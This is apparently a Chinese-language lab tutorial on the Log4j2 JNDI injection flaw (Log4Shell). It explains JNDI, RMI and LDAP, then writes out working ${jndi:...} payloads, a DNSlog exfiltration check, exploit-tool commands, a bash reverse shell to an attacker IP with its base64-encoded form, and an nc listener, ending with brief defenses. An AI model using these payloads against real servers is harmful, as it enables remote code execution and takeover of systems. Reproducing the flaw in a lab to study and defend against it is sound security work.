什么是JNDI
JNDI: java命名和目录接口,通过访问JNDI,根据命名服务或目录服务来获取相应的资源。命名服务:键值对绑定key = value,通过键名检索值,RMI(远程方法调用)就是典型的命名服务。
- 目录服务:是命名服务的拓展,通过对象的属性来检索对象,是一种层级关系。可以理解为目录,LDAP(轻量级目录访问协议)就是典型的目录服务。
总结:JNDI对访问RMI或者LDAP服务的代码进行了封装,我们使用JNDI就可以访问这些服务。JNDI相当于是客户端,而rmi,LDAP等这些是服务端。通过JNDI接口,将服务名称和对象关联起来,即传一个name进去,就能够获得对象 。
JNDI可访问的目录及服务有:LDAP DNS NIS JDBC RMI 等等
什么是RMI
Java的远程方法调用,访问RMI时,只需要传入键,即可返回对象。
RMI利用:攻击者通过构造恶意的RMI请求,向受漏洞影响的服务器发送请求并执行恶意代码。
什么是LDAP
LDAP轻量级的目录结构数据库,理解为一个存储目录,里面有我们要的资源
LDAP利用:传一个name进去,就能够获得数据,当name =攻击者构造恶意的ldap请求,请求中包含恶意的Java代码,服务器接收到请求并解析,恶意代码就会执行
LDAP与RMI两种利用方式区别不大
什么是JNDI注入
动态协议转换:JNDI提前有配置初始化环境,设置了属性,但是当lookup()里传进来的参数协议与初始化的Context里配置的协议不一致时,就会动态的进行转换来查找传进去的参数,并且不会报错,所以当参数可控时,攻击者可以通过提供一个恶意的url地址来控制受害者加载攻击者指定的恶意类。
JNDI注入:主要是通过LDAP或者RMI服务来实现的。
JNDI支持一个命名引用方式,可以通过远程下载一个class文件,然后加载构建对象
代码语言:javascript复制JNDI注入:${jndi:ldap:192.168.1.1:9998/class}
1、lookup通过名字检索执行的对象 :ldap:192.168.1.1:9998/class
2、在192.168.1.1:9998的ldap服务器中进行查找class,发现不存在
3、就会在远程服务中查找192.168.1.1:9998/class (不管是在ldap服务或者远程服务中,目的都是找到class)
4、找到class 将资源信息返回到JNDI接口,返回给log4j2组件,log4j2 组件会将信息下载下来记录到日志中
5、class是一个文件,会执行里面的代码块。可以通过poc.class文件内容实现任意命令的执行。
总结:{}中的value可以是一个链接
log4j2漏洞
什么是log4j2
代码语言:javascript复制log4j是开源的日志记录框架,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。
漏洞原理
代码语言:javascript复制log4j2 在日志输出中,一旦在log字符串中检测到${},就会调用lookup查询尝试解析其中的字符串,如果未对字符合法性进行严格的限制,攻击者构造恶意的URL地址让其解析,利用 JNDI 协议加载的远程恶意脚本,从而造成RCE。
log4j2漏洞复现
攻击机:kali
靶机:kali 中使用docker 创建log4j2容器
在docker中搭建靶场
代码语言:javascript复制拉取靶场镜像:docker pull vulfocus/log4j2-rce-2021-12-09:latest
开启容器:docker run -d -p 9998:8080 vulfocus/log4j2-rce-2021-12-09:latest
访问靶场
验证是否存在漏洞log4j2漏洞
1、利用DNSlog平台获取一个域名,将数据外带出来
http://dnslog.cn/
2、构造payload
${jndi://ldap://ec37qp.dnslog.cn}
3、对URL进行编码处理
4、访问
此时的payload为URL编码后的 ${jndi:ldap://lvngwx.dnslog.cn}
数据被外带出来证明log4j2存在漏洞
代码语言:javascript复制${jndi://ldap://ec37qp.dnslog.cn}
解析payload
1、首先 发现字符串有${},调用lookup函数
2、解析${}中的内容发现是JNDI的ldap服务
3、攻击者通过DNSlog平台构造恶意的URL将数据外带出来
漏洞利用
1、JNDI注入 ---利用工具
代码语言:javascript复制安装:git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
切换目录:cd JNDI-Injection-Exploit
编译安装:mvn clean package -DskipTests
切换到target目录 cd target
使用 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,依赖Java 版本1.8 或者1.7
代码语言:javascript复制工具使用方式:java-jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -c"命令" -A “攻击机的IP”
2、服务器站点的部署
部署:RMI服务或者LDAP服务
目的:是要让受害者访问攻击者准备的恶意服务器,从而执行恶意代码,主要是获得受害者的权限,那么可以执行反弹shell的命令。
将反弹shell通过JNDI注入工具部署在LDAP服务 或者RMI 服务中
写反弹shell
代码语言:javascript复制bash -i >& /dev/tcp/192.168.1.1/7788 0>&1
#bash -i 交互式,有问有答
#dev/tcp/192.168.1.1 建立设备的连接
#7788端口:将数据反弹到目标主机的端口
#> 标准重定向输出
3、利用工具得到payload
base64编码:https://ares-x.com/tools/runtime-exec
代码语言:javascript复制bash -i >& /dev/tcp/192.168.1.1/7788 0>&1
base64编码后
bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}
运行:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA4Lzc3ODggMD4mMQoKCg==}|{base64,-d}|{bash,-i}" -A "192.168.1.1"
构造完整的payload
RMI :
代码语言:javascript复制rmi://192.168.1.1:1099/uuvfsd
JNDI注入:${jndi:rmi://192.168.1.1:1099/uuvfsd}
URL编码:${jndi:rmi://192.168.1.1:1099/uuvfsd}
访问恶意的URL
代码语言:javascript复制http://192.168.1.1:9998/hello?payload=${jndi:rmi://192.168.1.1:1099/uuvfsd}
开启监听
代码语言:javascript复制nc -lvvp 7788
shell 上线
防御:
代码语言:javascript复制1.用户输入的参数中出现攻击关键字(过滤用户输入)
2.禁止1ookup下载远程文件(命名应用)
3.禁止1og4j的应用去连接外网
4.禁止10g4j使用1ookup方法